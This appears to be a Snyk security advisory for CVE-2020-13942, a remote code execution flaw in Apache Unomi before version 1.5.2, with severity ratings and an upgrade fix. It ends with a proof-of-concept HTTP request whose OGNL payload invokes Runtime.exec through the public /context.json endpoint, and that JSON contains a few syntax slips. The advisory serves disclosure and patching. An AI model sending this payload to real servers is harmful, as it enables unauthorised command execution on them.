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Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-kar package, versions [,1.5.2)

0.0
critical

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JAVA-ORGAPACHEUNOMI-1045347

  • published

    25 Nov 2020

  • disclosed

    25 Nov 2020

  • credit

    Eugene Rojavski

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Introduced: 25 Nov 2020

CVE-2020-13942 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade org.apache.unomi:unomi-kar to version 1.5.2 or higher.

Overview

org.apache.unomi:unomi-kar is a package for the Apache Unomi Context Server.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.

PoC 

POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
 
 
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}